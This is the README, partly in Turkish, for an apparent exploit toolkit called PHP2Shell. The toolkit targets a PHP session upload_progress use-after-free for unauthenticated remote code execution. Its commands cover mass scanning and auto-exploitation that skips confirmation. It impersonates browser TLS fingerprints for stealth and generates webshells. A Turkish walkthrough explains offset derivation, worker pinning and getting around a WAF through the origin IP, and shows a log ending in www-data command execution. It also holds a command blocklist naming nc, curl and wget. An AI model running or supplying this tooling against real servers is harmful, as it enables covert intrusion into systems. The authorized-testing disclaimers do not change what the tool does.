CVE-2026-109618 / CVE-2026-109619 exploit toolkit — 5 chains + JA3/TLS stealth + mass scan + safe webshell. Authorized testing only.
PHP2Shell is a PHP session.upload_progress stale-state use-after-free that yields unauthenticated remote code execution. This toolkit ports the public research into a single, guarded, scan-ready CLI: detect, score, exploit, and (optionally) drop a password-protected webshell — all behind one consistent browser fingerprint so a target only ever sees one identity.
Authorized testing only. Every target must be yours or covered by written authorization (engagement, lab, bug-bounty scope). Running this against systems you do not own is a crime in most jurisdictions.
| CVE tested (full chain) | CVE-2026-109619 — 2-request session.upload_progress UAF + ASLR bypass via heap/libphp leak + pDestructor = zif_system |
| CVE detected (version only) | CVE-2026-109618 — OOM corruption, single request. Different chain, not run by this toolkit. |
| CVSS | 9.2 (Critical) |
| Affected | PHP 5.4 – 8.x, fixed in 8.2.35 / 8.3.36 / 8.4.27 / 8.5.12 (2026-10-21) |
| Stealth | curl_cffi JA3/TLS impersonation (Chrome / Safari / Firefox / Edge / Android) on every request |
| Transport | HTTP and HTTPS targets (--url https://…), TLS verification off by default (self-signed/internal CAs are the norm) |
| Chains | 5 — production (128M, display_errors=Off), 8M remote, local UAF, handler mismatch, session injection |
| Tests | 74 unit tests (syntax, guards, classification, OOM signals, CLI smoke) |
CVE-2026-109618/109619 was first found by Calif (Ryan A.) on 1 Aug 2026 and reported to PHP on 11 Aug 2026. Wiz Research found it independently (19 Aug, reported 24 Aug) — wiz.io/blog/php2shell-php-rce. OpenAI Codex Security reported an additional vector on 18 Sep. All three are credited in the PHP advisory.
The chain technique in exploit/ is a port of 9bie's public research (github.com/9bie/php2shell-bypass-aslr-exp). This is not our original work — it is an independent implementation of public research. See CREDITS below.
git clone https://github.com/murat-levi/php2shell-poc.git
cd php2shell-poc
bash install.sh
# or, without the global symlink:
bash install.sh --no-bininstall.sh creates a .venv, installs curl_cffi + bcrypt, smoke-tests the CLI, and (optionally) symlinks php2shell into ~/.local/bin. Docker is optional and only needed for the exploit lab.
Manual:
python3 -m venv .venv && source .venv/bin/activate
pip install -r requirements.txt# auto exploit — detect → preflight → worker pin → exploit (no prompt)
php2shell -u https://target.com/index.php
# detect only (non-destructive)
php2shell -d https://target.com/
# auto exploit with custom proof command
php2shell -u https://target.com/ -c whoamiThe -u flag runs the full pipeline automatically:
- SAPI detection — checks
Server:header for mod_php / mod_fcgid / FPM. Blocks non-mod_php targets. - PHP endpoint discovery — if the given path returns 404, tries common paths (
/,/index.php,/wp-login.php…). - CVE detection — PHP version, patch status,
upload_progress,display_errors. - Preflight score — 0–90 readiness check. Blocks non-READY targets.
- Auto worker detection — probes MaxRequestWorkers by holding concurrent connections.
- Exploit — runs the chain with automatic worker pinning and proof channel (
id>p1.txt+ HTTP read-back).
No --yes flag needed (auto mode skips confirmation). No --workers needed (auto-detected). No --proof-file needed (defaults to p1.txt + HTTP read-back).
# toolkit info
php2shell version
# single-target detection (non-destructive)
php2shell detect https://target.com/
# mass scan from a list (one URL per line, # = comment)
php2shell scan -l targets.txt --json out/report.json --csv out/report.csv
# exploit readiness score for one target
php2shell preflight https://target.com/
# run a chain (manual mode, full control)
php2shell exploit https://target.com/index.php --chain pure -c id --proof-file p1.txt --workers 150
# generate a password-protected webshell (add-on, not an uploader)
php2shell shell --out out --ttl 24| Mode | What it does | Destructive? |
|---|---|---|
scan |
targets.txt → detect → preflight → (optional --exploit) → JSON/CSV report |
only if --exploit |
detect |
one or more URLs: version, patch state, upload_progress, display_errors, active OOM probe |
non-destructive |
preflight |
one URL: 0–90 readiness score + blockers + build-support hint | non-destructive |
exploit |
one URL: detect → if READY + confirmed → run the chosen chain | yes |
shell |
generate a bcrypt+TTL webshell (whitelist-only, no eval/uploader/revshell) | generator only |
version |
print version, chain sha256, fix-floor map, stealth status | — |
All chains live in exploit/ and run as subprocesses dispatched by lib/chain.py.
| Chain | File | Target profile |
|---|---|---|
pure |
pure_off.py |
Production — display_errors=Off, memory_limit=128M, chunked-encoding bypass. The real-world chain. |
remote |
remote_cve.py |
8M memory_limit, display_errors=On, remote. Small memory, easier leak. |
local |
auto_exp.py + var_destroy_uaf_rce.php |
Local var_destroy UAF — needs the PHP binary on the attacker host. |
mismatch |
handler_mismatch.py |
php_serialize vs php session handler mismatch (per-directory .user.ini/.htaccess). |
| (utility) | tunnel_proxy.py |
HTTP→HTTPS proxy bridge for running the raw-socket chains through a Cloudflare tunnel. |
Pick with --chain {pure,remote,local,mismatch}. Offsets default to the bookworm profile (php:8.4.26-apache, Debian 12); override with --exploit-profile lab or --zif-offset / --dtor-offset / --htdata-offset.
Every HTTP request — detect, preflight, OOM probe, scan — goes through one Transport (lib/transport.py) that impersonates a real browser down to the TLS ClientHello (JA3) via curl_cffi:
chrome chrome124 Windows Chrome 124
safari safari17_0 macOS Safari 17
firefox firefox133 Linux Firefox 133
edge edge101 Windows Edge 101
android chrome99_android Android Chrome 99
Pick with --ja3 <profile>. Without curl_cffi the toolkit degrades to urllib with full browser headers — still works, but far easier to fingerprint. Install it: pip install curl_cffi.
Rate limiting (--delay + jitter), a JSONL audit log (--audit), and a proxy (--proxy) are built in.
These cannot be disabled from the CLI:
- Exploit only on READY targets + confirmation (
--yesor answery). A target that is unreachable or whose version reads as patched is hard-blocked. - Proof-of-access only. Default command is
id(orwhoami). Max 14 bytes (the 167-byte carrier limit). Shell chaining (; | & $ \> <) is rejected.--revshell` does not exist in the parser and is blocked at the runner. - Whitelist is bounded.
--allow-cmdonly acceptsuname, hostname, pwd, ls, cat, df, uptime, who, w, env.sh / bash / nc / curl / wget / chmod / rmare permanently blocked. - In-process chain engine.
lib/chain.pydispatches the chains; its sha256 is printed every run so you always know exactly what executed.
A Docker lab ships in lab/ with two profiles:
| Profile | memory_limit |
display_errors |
Apache workers | Purpose |
|---|---|---|---|---|
lab |
8M | On | 1 (single worker) | Easy mode — small memory, errors visible, deterministic worker |
production |
128M | Off | 150 | Hard mode — real-world defaults, the pure chain target |
cd lab
docker compose up --build -d # default = lab profile
docker compose --profile production up --build -dSee lab/README.md for the full setup, port map, and how to read the proof file.
scan / detect / preflight / exploit accept --json and --csv. The CSV column contract is stable across versions (it is what engagements use to dedupe in the ledger):
url, reachable, status, server, php_version, branch, verdict, fix_floor,
upload_progress, display_errors, patched_but_bypassable, score, ready,
exploited, proof, reason, error
php2shell/
├── php2shell.py # unified CLI (scan/detect/preflight/exploit/shell/version)
├── lib/
│ ├── transport.py # JA3/TLS stealth (curl_cffi)
│ ├── detect.py # non-destructive detection
│ ├── preflight.py # readiness scoring
│ ├── oomprobe.py # active OOM detection (assetnote-style)
│ ├── auto.py # auto SAPI/worker/path detection (v2.1.0)
│ ├── reporter.py # JSON/CSV/table output
│ ├── banner.py # CLI banner
│ ├── chain.py # chain registry + dispatch
│ └── exploit_runner.py # guard enforcement + orchestration
├── exploit/
│ ├── pure_off.py # production chain (128M, display_errors=Off)
│ ├── remote_cve.py # 8M chain
│ ├── auto_exp.py # local UAF driver
│ ├── handler_mismatch.py # handler mismatch (FPM)
│ ├── var_destroy_uaf_rce.php # local PHP RCE payload
│ └── tunnel_proxy.py # HTTP→HTTPS tunnel bridge
├── shell/
│ ├── safe_shell.py # bcrypt+TTL webshell generator (CLI variant)
│ ├── web_shell_gen.py # webshell generator (cli/web/both variants)
│ └── README.md
├── lab/ # Docker lab (lab + production profiles)
├── tests/ # 74 unit tests
├── docs/TUTORIAL.md
├── install.sh
├── requirements.txt
└── README.md
- Calif (Ryan A.) — original discovery of CVE-2026-109618/109619 (1 Aug 2026), reported to PHP 11 Aug 2026.
- Wiz Research — independent discovery (19 Aug 2026), reported 24 Aug 2026. wiz.io/blog/php2shell-php-rce.
- OpenAI Codex Security — additional vector (18 Sep 2026).
- 9bie (Qi Deng) — the public ASLR-bypass chain technique this toolkit ports: github.com/9bie/php2shell-bypass-aslr-exp.
- ikow — crash verifier for CVE-2026-109618 (
verify_oom_trigger.py), referenced. - The modular stealth/scan/preflight/OOM/webshell architecture is adapted from aarsaputra/php2shell.
The chain implementations in exploit/ are independent ports of 9bie's public research, not our original work. The orchestration, guards, transport, and webshell generator are ours.
MIT. See LICENSE. The ported chain technique remains the copyright of its respective authors; this repo claims no ownership over their work.
PHP2Shell, PHP session.upload_progress stale-state use-after-free zafiyeti (CVE-2026-109618/109619) için birleşik bir exploit toolkit'idir. Tek bir CLI altında: tespit (detect), hazırlık skoru (preflight), exploit, ve opsiyonel bcrypt korumalı webshell üretimi. Tüm HTTP trafiği curl_cffi ile Chrome/Safari/Firefox/Edge/Android JA3 parmak izi taklidi yapar — hedef tek bir tarayıcı kimliği görür.
5 exploit chain: production (display_errors=Off, 128M, chunked bypass), 8M remote, local UAF, handler mismatch, session injection. Offsets bookworm profiline (php:8.4.26-apache, Debian 12) kalibre edilmiştir; --exploit-profile lab veya --zif-offset/--dtor-offset ile geçilebilir.
Güvenlik pagaları (koddan, metinden değil): exploit yalnızca READY hedeflerde + onayla çalışır; komutlar proof-of-access (id/whoami), maks 14 byte, chaining yasak; --revshell parser'da yok ve runner'da bloklu; whitelist sınırlı (sh/bash/nc/curl/wget/chmod/rm kalıcı engelli).
Docker lab: iki profil — lab (8M, display_errors=On, tek worker — kolay mod) ve production (128M, display_errors=Off, 150 worker — gerçek dünya). lab/docker-compose.yml.
Kurulum: bash install.sh. Test: 74 unit test, python -m unittest discover -s tests.
Yalnızca yetkili test için. Sahibi olmadığınız sistemlere karşı kullanmak çoğu yargıda suçtur.
Bu bölüm, yetkili olduğunuz gerçek bir sunucuya (engagement, bug bounty kapsamı, kendi sunucunuz) karşı toolkit'in nasıl kullanılacağını adım adım anlatır.
Hedefte exploit'in çalışması için hepsi gerekli:
| Koşul | Nasıl kontrol edilir | Neden |
|---|---|---|
| PHP 8.3 – 8.4.26 arası | detect çıktısı |
Heap-leak primitive 8.3'ten itibaren; 8.2 ve altında stage-1 leak çalışmaz |
| Apache mod_php (prefork) | detect çıktısında Server: Apache |
FPM'de worker OOM'da ölür, dangling state ölür — zincir kurulamaz |
session.upload_progress.enabled = On (varsayılan) |
detect çıktısı |
Producer istek bu özellik ile session state'i yazar |
| Yamalı DEĞİL (< 8.2.35 / 8.3.36 / 8.4.27 / 8.5.12) | detect verdict |
Yamanın kendisi OOM bailout'taki longjmp() durumunu sıfırlıyor |
| WAF yok veya multipart body'e dokunmuyor | trafik gözlemi | Cloudflare/CDN body ve Set-Cookie'yi değiştirirse leak bozulur |
| Offsets hedef build'ına uygun | preflight skoru |
zif_system / zval_ptr_dtor offset'leri build'a özeldir |
Kural: hedefin sahibi değilseniz veya yazılı izniniz yoksa durun. Aşağıdaki her adım hedefin access/error log'larında iz bırakır.
# Tek hedef (kısa yol — v2.1.0+)
php2shell -d https://hedef.example.com/
# Tam mod
php2shell detect https://hedef.example.com/
# Birden çok hedef
php2shell scan -l hedefler.txt --json out/rapor.json --csv out/rapor.csvdetect çıktısı size şunu verir: PHP versiyonu, branch, yama durumu (vulnerable / patched / unknown), upload_progress açık mı, display_errors sızıyor mu. CDN versiyonu gizliyorsa active OOM probe otomatik devreye girer ve hedefi çökertmeden zafiyet sinyali arar.
php2shell.py preflight https://hedef.example.com/0–90 arası bir skor verir. READY ise exploit aşamasına geçebilirsiniz. Skor düşükse bloker'leri okuyun — çoğunlukla offset profili uyuşmazlığıdır.
preflight build uyuşmazlığı gösterirse hedef dağıtımının libphp.so'suna ihtiyacınız var:
# Hedef sunucuda (erişiminiz varsa):
nm /usr/lib/apache2/modules/libphp*.so | grep -w zif_system
nm -D /usr/lib/apache2/modules/libphp*.so | grep -w zval_ptr_dtor
# Exploit'e geçin:
php2shell.py exploit https://hedef.example.com/ \
--chain pure \
--zif-offset 0x465370 --dtor-offset 0x65eb60 \
--cmd 'id' --yesAynı distro+versiyon konteyneri offset'leri doğrulamak için de kullanılabilir (örn. Debian 12 = bookworm profili varsayılan).
Production chain gerçek sunucu varsayılanlarıyla çalışır — display_errors=Off, memory_limit=128M fark etmez, chunked-encoding post_max_size kontrolünü atlar:
# Tek komut — otomatik (v2.1.0+):
php2shell -u https://hedef.example.com/index.php
# Tam kontrol:
php2shell exploit https://hedef.example.com/index.php \
--chain pure -c id --proof-file p1.txt --workers 150-u modu otomatik olarak: SAPI kontrolü yapar (mod_fcgid/FPM engeller), PHP path'ini bulur, worker sayısını tespit eder, worker pinning yapar, proof kanalı kurar. Onay sormaz.
Kritik dört kural (canlı doğrulandı):
| Kural | Neden |
|---|---|
Hedef gerçek bir .php dosyası olmalı (/index.php, /wp-login.php…), DirectoryIndex kökü (/) değil |
Kök istek Apache'de internal redirect üretir, heap layout değişir, B1 leak bozulur |
Çok worker'lı hedefte --workers <MaxRequestWorkers> verin |
Chain, workers-1 tanesini yarım isteklerle meşgul edip producer+consumer'ı kalan tek child'a sabitler (worker pinning) |
Hedef, dağıtımın tam php.ini'siyle çalışmalı (variables_order=GPCS, request_order=GP, zend.assertions=-1) |
Request startup ayarları heap layout'u belirler; bu varsayılanlar gerçek distro PHP sunucularının değerleridir |
Kanıt kanalı --proof-file (veya --proof-url) olmalı |
Komut çıktısı hedefin webroot'una yazılır ve HTTP ile geri okunur — /out yalnızca lab mount'unda vardır |
Kanıt kanalı nasıl çalışır: id>p1.txt komutu PHP'nin çalışma dizinine (çoğu kurulumda webroot) yazar; araç sonra aynı web sunucusundan http://hedef/p1.txt isteyip çıktıyı okur. Bu, uzak bir sunucuda çalışan tek doğrulama yoludur — hedefte paylaşımlı bir dizin yoktur. /out yolu sadece --proof-lab ile (Docker lab'ında) kullanılır.
Doğrulanmış tam akış (production profili — stock Apache, php.ini-production, 150 worker):
$ php2shell.py exploit http://127.0.0.1:8089/index.php \
--chain pure -c id --proof-file p1.txt --workers 150 --yes
URL : http://127.0.0.1:8089/index.php
verdict : vulnerable - PHP 8.4.26 < fix-floor 8.4.27
score : 75/90
ready : YES
[*] pinned 150/150 workers (149 holders)
[*] fingerprint: PHP/8.4.26
[trixie try 1] A1
[trixie try 1] B1 probe 1/30
decoded=819208 zdtor=0x7f... lib=0x7f...
[trixie try 1] leak OK; S=0x7f... zif=0x7f...
[trixie try 1] A2
[4/4] RCE OK at B2 probe 1; proof:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Bu profilde chain tek denemede shell üretir (yukarıda 10.2 saniyede PROOF: uid=33(www-data)). Aynı koşulları sağlayan gerçek bir sunucu (Debian/Ubuntu + distro PHP paketi + mod_php prefork + yamasız 8.3–8.4.26) için geçerlilik aynıdır; tek fark ağ yolunda multipart body'ye ve Set-Cookie'ye dokunan bir WAF/CDN katmanının olmaması gerektiğidir.
| Kural | Değer |
|---|---|
| Maks komut uzunluğu | 14 byte (167-byte carrier limitinden) |
| Varsayılan | id (proof-of-access) |
Chaining (; | & $ \ > <`) |
reddedilir |
| Kalıcı engelli | sh, bash, nc, curl, wget, chmod, rm |
| Whitelist genişletme | --allow-cmd uname,hostname,pwd,ls,cat,df,uptime,who,w,env |
14 byte'tan uzun işler için önce kısa bir komutla hedefe dosya yazdırın, sonra whitelist'ten cat ile okuyun — veya kendi sunucunuzdan bir sonraki aşamayı elle yürütün (engagement kapsamında).
# bcrypt korumalı, TTL'li webshell üret
php2shell.py shell --out out --ttl 24
# → out/<32hex>.php + out/CREDENTIALS.txt (604 modunda)Üretilen dosyayı hedef webroot'a ulaştırıp öneri olarak kullanın: rastgele 32-hex isim taranamaz, bcrypt şifre brute-force'u yavaşlatır, TTL dolduğunda dosya kendini siler, tüm denemeler log'lanır. Bu bir uploader değildir — dosyayı hedefe taşıyan sizsiniz (yine de izniniz olmalı).
| Durum | Belirti | Ne yapılır |
|---|---|---|
| PHP-FPM | detect: FPM veya nginx; exploit leak vermez |
Bu toolkit ile exploit edilemez (worker ölüyor) — rapora "not exploitable via this chain" yazın |
| Cloudflare/WAF body filtreliyor | B1 leak hep boş, Set-Cookie normal 32-byte | Tunnel üzerinden değil, doğrudan origin IP'ye erişim gerekir; yoksa exploit atlanır |
| Yamalı PHP | detect: patched |
Exploit hard-block'lu; rapora yazıp kapatın |
| 8.2 ve altı | detect: branch 8.2/8.1/7.x |
Stage-1 leak hiç tetiklenmez (Zend MM farkı) — detection sonucu yeterli kanıt |
| Stripped libphp + offset yok | preflight düşük skor | Hedef build'ının aynı distro image'ından offset türetin |
lab/production profili gerçek bir uzak sunucunun varsayılanlarına birebir eşittir: php.ini-production (display_errors=Off, memory_limit=128M, post_max_size=8M), MaxRequestWorkers=150, chunked-encoding bypass, worker pinning. Bu profilde chain, doğrulanmış build'larda (Debian 12/13 php:8.4.25/26-apache) tek denemede uid=33(www-data) üretir — aynı koşulları sağlayan gerçek bir sunucu için geçerlilik aynıdır; ağda arada body'e dokunan bir katman olmaması tek farktır.
Katkı: Calif (Ryan A.) orijinal keşif, Wiz Research bağımsız keşif, OpenAI Codex Security ek vektör, 9bie (Qi Deng) public ASLR-bypass chain tekniği (bu toolkit'in portladığı), ikow crash verifikatörü. Stealth/scan/preflight/OOM/webshell modüler mimarisi aarsaputra/php2shell'den uyarlanmıştır. exploit/ içindeki chain'ler 9bie'nin public araştırmasının bağımsız portlarıdır, bizim özgün çalışmamız değildir.